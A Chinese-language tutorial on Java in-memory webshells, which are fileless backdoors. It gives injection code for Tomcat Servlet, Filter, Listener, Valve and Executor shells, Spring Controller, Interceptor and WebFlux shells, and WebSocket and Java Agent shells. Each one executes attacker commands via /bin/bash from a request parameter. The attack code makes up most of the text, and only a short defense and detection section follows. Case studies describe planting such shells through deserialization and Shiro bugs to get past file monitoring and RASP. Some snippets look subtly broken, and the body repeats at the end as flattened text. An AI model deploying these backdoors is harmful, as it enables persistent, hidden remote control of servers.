从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)
字数 3930 2025-08-29 22:41:32

Java内存马技术全面解析

一、内存马概述

1.1 内存马定义与分类

内存马是一种无文件攻击技术,通过修改Java Web应用的内存结构实现持久化后门,无需写入磁盘文件。根据实现方式可分为三大类:

  1. 框架型内存马

    • 针对Spring系列框架(Spring MVC、Spring WebFlux等)
    • 利用框架特性动态注册恶意组件
  2. 中间件型内存马

    • 主要针对Tomcat、Jetty等中间件
    • 通过修改中间件核心组件实现
  3. 其他内存马

    • WebSocket内存马
    • Java Agent内存马
    • 线程池内存马等

1.2 内存马解决的问题

  1. 网络限制无法反弹shell的情况
  2. 通过反向代理暴露Web端口的内部主机
  3. 存在防篡改和目录监控的服务器
  4. 使用Spring Boot等无法解析传统Webshell的框架
  5. 存在监控系统会告警文件写入的情况

1.3 内存马优缺点

优点

  • 无文件落地,隐蔽性高
  • 绕过传统文件监控
  • WebSocket等新型内存马更难检测

缺点

  • 服务重启后失效
  • 传统内存马位置固定,已有查杀技术
  • 部分实现方式有版本限制

二、基础知识

2.1 Tomcat技术栈

2.1.1 Tomcat核心组件

  1. 连接器(Connector)

    • 处理Socket连接
    • 网络字节流与Request/Response对象转换
    • 包含Endpoint、Processor和Adapter三个子组件
  2. 容器(Container)

    • 加载并管理Servlet
    • 处理具体Request请求
    • 包含Engine、Host、Context和Wrapper层级

2.1.2 Tomcat请求处理流程

  1. Endpoint接收Socket连接
  2. Processor解析协议生成Tomcat Request
  3. Adapter将Tomcat Request转为ServletRequest
  4. 容器通过Mapper定位到具体Servlet处理
  5. 返回响应流程反向进行

2.2 Servlet规范组件

2.2.1 Servlet组件

  1. 初始化流程

    • 创建Wrapper对象
    • 设置LoadOnStartup值
    • 设置Servlet名称和类
    • 添加到Context
    • 建立URL映射
  2. 装载流程

    • Listener → Filter → Servlet顺序加载
    • loadOnStartup非负值按升序加载

2.2.2 Filter组件

  1. 核心类

    • FilterDefs:存放FilterDef数组
    • FilterConfigs:存放FilterConfig数组
    • FilterMaps:存放FilterMap数组
    • FilterChain:过滤器链
  2. 执行流程

    • 根据URL匹配FilterMap
    • 通过FilterName找到FilterConfig
    • 构建FilterChain依次执行

2.2.3 Listener组件

  1. 类型

    • ServletContextListener
    • ServletRequestListener
    • HttpSessionListener等
  2. 初始化流程

    • 从web.xml获取Listener定义
    • 实例化后按类型分类
    • 添加到applicationEventListenersList

2.3 Spring技术栈

2.3.1 Spring MVC核心组件

  1. 九大组件

    • DispatcherServlet:前端控制器
    • HandlerMapping:URL到Controller映射
    • HandlerAdapter:处理器适配器
    • ViewResolver:视图解析器
    • 其他:LocaleResolver、ThemeResolver等
  2. 请求处理流程

    • DispatcherServlet接收请求
    • HandlerMapping确定处理器
    • HandlerAdapter执行处理器方法
    • 返回ModelAndView
    • 视图解析器渲染视图

2.3.2 Spring WebFlux

  1. 核心概念

    • 完全非阻塞式
    • 支持Reactive Streams背压
    • 运行在Netty等容器上
  2. 核心类

    • Mono:0或1个元素的异步序列
    • Flux:0到N个元素的异步序列
  3. 处理流程

    • WebFilter链预处理
    • RouterFunction路由匹配
    • HandlerFunction业务处理

三、中间件型内存马实现

3.1 Servlet内存马

3.1.1 实现步骤

  1. 获取ServletContext上下文
  2. 反射获取ApplicationContext
  3. 反射获取StandardContext
  4. 创建恶意Servlet类
  5. 创建Wrapper并设置Servlet
  6. 添加到Tomcat容器

3.1.2 关键代码

// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 创建恶意Servlet
Servlet servlet = new Servlet() {
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
        String cmd = servletRequest.getParameter("cmd");
        Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
        Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
        servletResponse.getWriter().write(scanner.hasNext() ? scanner.next() : "");
    }
};

// 创建Wrapper并注册
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);

3.2 Filter内存马

3.2.1 实现步骤

  1. 获取StandardContext
  2. 创建恶意Filter类
  3. 创建FilterDef并添加到filterDefs
  4. 创建FilterMap并添加到filterMaps
  5. 反射创建FilterConfig并添加到filterConfigs

3.2.2 关键代码

// 获取StandardContext
StandardContext standardContext = ...;

// 创建恶意Filter
Filter filter = new Filter() {
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
            servletResponse.getWriter().write(scanner.hasNext() ? scanner.next() : "");
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
};

// 创建并添加FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

// 创建并添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

// 反射添加FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standardContext);
filterConfigs.put(filterName, filterConfig);

3.3 Listener内存马

3.3.1 实现步骤

  1. 创建恶意Listener类
  2. 获取StandardContext
  3. 调用addApplicationEventListener添加Listener

3.3.2 关键代码

// 创建恶意Listener
ServletRequestListener listener = new ServletRequestListener() {
    public void requestDestroyed(ServletRequestEvent sre) {}
    
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
                Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
                request.getResponse().getWriter().write(scanner.hasNext() ? scanner.next() : "");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
};

// 获取StandardContext并添加Listener
StandardContext standardContext = ...;
standardContext.addApplicationEventListener(listener);

3.4 Tomcat Valve内存马

3.4.1 实现步骤

  1. 获取StandardContext
  2. 创建恶意Valve类
  3. 通过getPipeline().addValve()添加

3.4.2 关键代码

// 创建恶意Valve
Valve valve = new ValveBase() {
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
            response.getWriter().write(scanner.hasNext() ? scanner.next() : "");
            return;
        }
        getNext().invoke(request, response);
    }
};

// 获取StandardContext并添加Valve
StandardContext standardContext = ...;
standardContext.getPipeline().addValve(valve);

3.5 Tomcat Executor内存马

3.5.1 实现步骤

  1. 反射获取NioEndpoint
  2. 替换Executor为恶意Executor
  3. 在命令执行时处理请求

3.5.2 关键代码

// 获取NioEndpoint
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
    if (thread != null && thread.getName().contains("NioEndpoint")) {
        Object target = getField(thread, "target");
        if (target instanceof Runnable) {
            Object nioEndpoint = getField(target, "this$0");
            
            // 替换Executor
            Executor executor = (Executor) getField(nioEndpoint, "executor");
            Executor maliciousExecutor = new Executor() {
                public void execute(Runnable command) {
                    try {
                        // 反射获取SocketWrapper
                        Object socketWrapper = getField(command, "socketWrapper");
                        Object request = getField(socketWrapper, "request");
                        
                        // 处理命令执行
                        String cmd = (String) invokeMethod(request, "getHeader", "cmd");
                        if (cmd != null) {
                            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
                            Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
                            String output = scanner.hasNext() ? scanner.next() : "";
                            invokeMethod(request, "setHeader", "result", output);
                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                    executor.execute(command);
                }
            };
            setField(nioEndpoint, "executor", maliciousExecutor);
        }
    }
}

四、框架型内存马实现

4.1 Spring MVC Controller内存马

4.1.1 实现步骤

  1. 获取WebApplicationContext
  2. 获取RequestMappingHandlerMapping
  3. 反射获取恶意方法的Method对象
  4. 定义RequestMappingInfo
  5. 动态注册Controller

4.1.2 关键代码

// 获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 定义恶意方法
Method method = InjectedController.class.getMethod("cmd");

// 创建RequestMappingInfo
PatternsRequestCondition patterns = new PatternsRequestCondition("/" + randomAlphanumeric(8));
RequestMappingInfo mappingInfo = new RequestMappingInfo(patterns, null, null, null, null, null, null);

// 注册Controller
mappingHandlerMapping.registerMapping(mappingInfo, new InjectedController(), method);

// 恶意Controller类
public class InjectedController {
    public void cmd(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
            response.getWriter().write(scanner.hasNext() ? scanner.next() : "");
        }
    }
}

4.2 Spring MVC Interceptor内存马

4.2.1 实现步骤

  1. 获取WebApplicationContext
  2. 获取拦截器注册中心
  3. 创建恶意拦截器
  4. 动态注册拦截器

4.2.2 关键代码

// 获取WebApplicationContext
WebApplicationContext context = ...;

// 获取拦截器注册中心
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
List<Object> interceptors = (List<Object>)adaptedInterceptors.get(abstractHandlerMapping);

// 创建恶意拦截器
HandlerInterceptor interceptor = new HandlerInterceptor() {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
            response.getWriter().write(scanner.hasNext() ? scanner.next() : "");
            return false;
        }
        return true;
    }
};

// 注册拦截器
interceptors.add(0, interceptor);

4.3 Spring WebFlux内存马

4.3.1 实现步骤

  1. 反射获取DefaultWebFilterChain
  2. 获取原始filters列表
  3. 创建恶意WebFilter
  4. 插入到filters列表首位
  5. 重建过滤器链

4.3.2 关键代码

public static String doInject() throws Exception {
    // 获取DefaultWebFilterChain
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        if (thread != null && thread.getName().contains("NettyWebServer")) {
            Object target = getField(thread, "target");
            if (target instanceof Runnable) {
                Object handler = getField(getField(target, "this$0"), "handler");
                Object chain = getField(handler, "chain");
                
                // 获取原始filters
                List<WebFilter> filters = (List<WebFilter>) getField(chain, "filters");
                
                // 创建恶意WebFilter
                WebFilter maliciousFilter = new WebFilter() {
                    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
                        String cmd = exchange.getRequest().getQueryParams().getFirst("cmd");
                        if (cmd != null) {
                            try {
                                Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
                                Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
                                String output = scanner.hasNext() ? scanner.next() : "";
                                return exchange.getResponse().writeWith(Mono.just(exchange.getResponse()
                                    .bufferFactory().wrap(output.getBytes())));
                            } catch (IOException e) {
                                return Mono.error(e);
                            }
                        }
                        return chain.filter(exchange);
                    }
                };
                
                // 插入到首位并重建过滤器链
                List<WebFilter> newFilters = new ArrayList<>();
                newFilters.add(maliciousFilter);
                newFilters.addAll(filters);
                
                Constructor<?> constructor = chain.getClass().getDeclaredConstructor(WebHandler.class, List.class);
                constructor.setAccessible(true);
                Object newChain = constructor.newInstance(getField(chain, "handler"), newFilters);
                
                Field field = handler.getClass().getDeclaredField("chain");
                field.setAccessible(true);
                Field modifiersField = Field.class.getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
                field.set(handler, newChain);
                modifiersField.setInt(field, field.getModifiers() | Modifier.FINAL);
                
                return "Injected successfully";
            }
        }
    }
    return "Injection failed";
}

五、其他类型内存马

5.1 WebSocket内存马

5.1.1 实现步骤

  1. 创建恶意WebSocket端点
  2. 获取ServerContainer
  3. 动态添加WebSocket端点

5.1.2 关键代码

// 获取ServerContainer
ServletContext servletContext = request.getSession().getServletContext();
ServerContainer serverContainer = (ServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");

// 创建恶意端点
serverContainer.addEndpoint(new ServerEndpointConfig.Configurator() {
    public void modifyHandshake(ServerEndpointConfig sec, HandshakeRequest request, HandshakeResponse response) {
        String cmd = request.getParameterMap().get("cmd").get(0);
        if (cmd != null) {
            try {
                Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
                Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
                String output = scanner.hasNext() ? scanner.next() : "";
                response.getHeaders().put("result", Collections.singletonList(output));
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        super.modifyHandshake(sec, request, response);
    }
}, "/ws");

5.2 Java Agent内存马

5.2.1 实现步骤

  1. 创建Agent Jar包
  2. 使用Instrumentation API
  3. 动态修改字节码
  4. 注入内存马逻辑

5.2.2 关键代码

public class Agent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                    ProtectionDomain protectionDomain, byte[] classfileBuffer) {
                if ("org/apache/catalina/core/StandardContext".equals(className)) {
                    try {
                        ClassPool cp = ClassPool.getDefault();
                        CtClass cc = cp.get("org.apache.catalina.core.StandardContext");
                        
                        // 添加恶意Filter
                        CtMethod m = cc.getDeclaredMethod("startInternal");
                        m.insertBefore("{"
                            + "org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();"
                            + "filterDef.setFilterName(\"maliciousFilter\");"
                            + "filterDef.setFilterClass(\"malicious.Filter\");"
                            + "this.addFilterDef(filterDef);"
                            + "org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();"
                            + "filterMap.addURLPattern(\"/*\");"
                            + "filterMap.setFilterName(\"maliciousFilter\");"
                            + "this.addFilterMapBefore(filterMap);"
                            + "}");
                        
                        return cc.toBytecode();
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
                return null;
            }
        });
    }
}

六、防御与检测

6.1 内存马防御措施

  1. 代码层面

    • 关闭调试接口和危险功能
    • 使用SecurityManager限制反射
    • 对关键类进行保护
  2. 运行时防护

    • 使用RASP进行实时防护
    • 限制JVM attach机制
    • 监控关键API调用
  3. 部署层面

    • 使用容器化部署限制权限
    • 定期重启服务
    • 使用WAF拦截可疑请求

6.2 内存马检测方法

  1. 静态检测

    • 扫描JAR/WAR中的可疑类
    • 检查web.xml等配置文件
    • 对比基线检查类加载情况
  2. 动态检测

    • 检查MBean中的组件
    • 遍历Filter/Listener列表
    • 检查URL映射关系
  3. 工具检测

    • 使用Java-Memshell-Scanner
    • 使用Arthas等诊断工具
    • 使用专业内存马检测工具

6.3 应急响应建议

  1. 立即隔离受影响系统
  2. 收集内存转储进行分析
  3. 查找注入点并修复漏洞
  4. 重置所有密码和密钥
  5. 全面检查其他系统

七、实战案例

7.1 某NC系统反序列化漏洞

场景

  • 存在反序列化漏洞但无法反弹shell
  • 文件写入后被快速查杀
  • 设备有文件目录监控

解决方案

  • 通过反序列化直接打入Filter内存马
  • 绕过文件监控实现持久化
  • 成功进行内网渗透

7.2 Spring Boot + Shiro 550漏洞

场景

  • Shiro 550漏洞但系统不出网
  • Spring Boot以JAR形式启动
  • 无JSP解析能力

解决方案

  • 使用Spring Interceptor内存马
  • 通过动态注册Interceptor实现后门
  • 获取Web服务器权限

7.3 某WebLogic漏洞利用

场景

  • 存在反序列化漏洞
  • 网络限制严格
  • 有RASP防护

解决方案

  • 使用WebSocket内存马
  • 通过ws协议建立通信
  • 绕过传统网络限制和RASP检测

八、总结与展望

Java内存马技术不断发展,从最初的Servlet/Filter内存马到现在的WebSocket、Agent等多种形式,对抗也在不断升级。未来可能出现以下趋势:

  1. 更加隐蔽

    • 利用合法功能实现恶意逻辑
    • 模仿正常业务代码
    • 使用加密通信
  2. 更多载体

    • 云原生环境下的内存马
    • 微服务架构中的传播
    • 容器环境适配
  3. 检测对抗

    • 行为分析成为主流
    • AI辅助检测
    • 硬件辅助安全

安全人员需要持续关注新技术发展,建立完善的防御体系,才能有效应对日益复杂的内存马威胁。

Java内存马技术全面解析 一、内存马概述 1.1 内存马定义与分类 内存马是一种无文件攻击技术,通过修改Java Web应用的内存结构实现持久化后门,无需写入磁盘文件。根据实现方式可分为三大类: 框架型内存马 : 针对Spring系列框架(Spring MVC、Spring WebFlux等) 利用框架特性动态注册恶意组件 中间件型内存马 : 主要针对Tomcat、Jetty等中间件 通过修改中间件核心组件实现 其他内存马 : WebSocket内存马 Java Agent内存马 线程池内存马等 1.2 内存马解决的问题 网络限制无法反弹shell的情况 通过反向代理暴露Web端口的内部主机 存在防篡改和目录监控的服务器 使用Spring Boot等无法解析传统Webshell的框架 存在监控系统会告警文件写入的情况 1.3 内存马优缺点 优点 : 无文件落地,隐蔽性高 绕过传统文件监控 WebSocket等新型内存马更难检测 缺点 : 服务重启后失效 传统内存马位置固定,已有查杀技术 部分实现方式有版本限制 二、基础知识 2.1 Tomcat技术栈 2.1.1 Tomcat核心组件 连接器(Connector) : 处理Socket连接 网络字节流与Request/Response对象转换 包含Endpoint、Processor和Adapter三个子组件 容器(Container) : 加载并管理Servlet 处理具体Request请求 包含Engine、Host、Context和Wrapper层级 2.1.2 Tomcat请求处理流程 Endpoint接收Socket连接 Processor解析协议生成Tomcat Request Adapter将Tomcat Request转为ServletRequest 容器通过Mapper定位到具体Servlet处理 返回响应流程反向进行 2.2 Servlet规范组件 2.2.1 Servlet组件 初始化流程 : 创建Wrapper对象 设置LoadOnStartup值 设置Servlet名称和类 添加到Context 建立URL映射 装载流程 : Listener → Filter → Servlet顺序加载 loadOnStartup非负值按升序加载 2.2.2 Filter组件 核心类 : FilterDefs:存放FilterDef数组 FilterConfigs:存放FilterConfig数组 FilterMaps:存放FilterMap数组 FilterChain:过滤器链 执行流程 : 根据URL匹配FilterMap 通过FilterName找到FilterConfig 构建FilterChain依次执行 2.2.3 Listener组件 类型 : ServletContextListener ServletRequestListener HttpSessionListener等 初始化流程 : 从web.xml获取Listener定义 实例化后按类型分类 添加到applicationEventListenersList 2.3 Spring技术栈 2.3.1 Spring MVC核心组件 九大组件 : DispatcherServlet:前端控制器 HandlerMapping:URL到Controller映射 HandlerAdapter:处理器适配器 ViewResolver:视图解析器 其他:LocaleResolver、ThemeResolver等 请求处理流程 : DispatcherServlet接收请求 HandlerMapping确定处理器 HandlerAdapter执行处理器方法 返回ModelAndView 视图解析器渲染视图 2.3.2 Spring WebFlux 核心概念 : 完全非阻塞式 支持Reactive Streams背压 运行在Netty等容器上 核心类 : Mono:0或1个元素的异步序列 Flux:0到N个元素的异步序列 处理流程 : WebFilter链预处理 RouterFunction路由匹配 HandlerFunction业务处理 三、中间件型内存马实现 3.1 Servlet内存马 3.1.1 实现步骤 获取ServletContext上下文 反射获取ApplicationContext 反射获取StandardContext 创建恶意Servlet类 创建Wrapper并设置Servlet 添加到Tomcat容器 3.1.2 关键代码 3.2 Filter内存马 3.2.1 实现步骤 获取StandardContext 创建恶意Filter类 创建FilterDef并添加到filterDefs 创建FilterMap并添加到filterMaps 反射创建FilterConfig并添加到filterConfigs 3.2.2 关键代码 3.3 Listener内存马 3.3.1 实现步骤 创建恶意Listener类 获取StandardContext 调用addApplicationEventListener添加Listener 3.3.2 关键代码 3.4 Tomcat Valve内存马 3.4.1 实现步骤 获取StandardContext 创建恶意Valve类 通过getPipeline().addValve()添加 3.4.2 关键代码 3.5 Tomcat Executor内存马 3.5.1 实现步骤 反射获取NioEndpoint 替换Executor为恶意Executor 在命令执行时处理请求 3.5.2 关键代码 四、框架型内存马实现 4.1 Spring MVC Controller内存马 4.1.1 实现步骤 获取WebApplicationContext 获取RequestMappingHandlerMapping 反射获取恶意方法的Method对象 定义RequestMappingInfo 动态注册Controller 4.1.2 关键代码 4.2 Spring MVC Interceptor内存马 4.2.1 实现步骤 获取WebApplicationContext 获取拦截器注册中心 创建恶意拦截器 动态注册拦截器 4.2.2 关键代码 4.3 Spring WebFlux内存马 4.3.1 实现步骤 反射获取DefaultWebFilterChain 获取原始filters列表 创建恶意WebFilter 插入到filters列表首位 重建过滤器链 4.3.2 关键代码 五、其他类型内存马 5.1 WebSocket内存马 5.1.1 实现步骤 创建恶意WebSocket端点 获取ServerContainer 动态添加WebSocket端点 5.1.2 关键代码 5.2 Java Agent内存马 5.2.1 实现步骤 创建Agent Jar包 使用Instrumentation API 动态修改字节码 注入内存马逻辑 5.2.2 关键代码 六、防御与检测 6.1 内存马防御措施 代码层面 : 关闭调试接口和危险功能 使用SecurityManager限制反射 对关键类进行保护 运行时防护 : 使用RASP进行实时防护 限制JVM attach机制 监控关键API调用 部署层面 : 使用容器化部署限制权限 定期重启服务 使用WAF拦截可疑请求 6.2 内存马检测方法 静态检测 : 扫描JAR/WAR中的可疑类 检查web.xml等配置文件 对比基线检查类加载情况 动态检测 : 检查MBean中的组件 遍历Filter/Listener列表 检查URL映射关系 工具检测 : 使用Java-Memshell-Scanner 使用Arthas等诊断工具 使用专业内存马检测工具 6.3 应急响应建议 立即隔离受影响系统 收集内存转储进行分析 查找注入点并修复漏洞 重置所有密码和密钥 全面检查其他系统 七、实战案例 7.1 某NC系统反序列化漏洞 场景 : 存在反序列化漏洞但无法反弹shell 文件写入后被快速查杀 设备有文件目录监控 解决方案 : 通过反序列化直接打入Filter内存马 绕过文件监控实现持久化 成功进行内网渗透 7.2 Spring Boot + Shiro 550漏洞 场景 : Shiro 550漏洞但系统不出网 Spring Boot以JAR形式启动 无JSP解析能力 解决方案 : 使用Spring Interceptor内存马 通过动态注册Interceptor实现后门 获取Web服务器权限 7.3 某WebLogic漏洞利用 场景 : 存在反序列化漏洞 网络限制严格 有RASP防护 解决方案 : 使用WebSocket内存马 通过ws协议建立通信 绕过传统网络限制和RASP检测 八、总结与展望 Java内存马技术不断发展,从最初的Servlet/Filter内存马到现在的WebSocket、Agent等多种形式,对抗也在不断升级。未来可能出现以下趋势: 更加隐蔽 : 利用合法功能实现恶意逻辑 模仿正常业务代码 使用加密通信 更多载体 : 云原生环境下的内存马 微服务架构中的传播 容器环境适配 检测对抗 : 行为分析成为主流 AI辅助检测 硬件辅助安全 安全人员需要持续关注新技术发展,建立完善的防御体系,才能有效应对日益复杂的内存马威胁。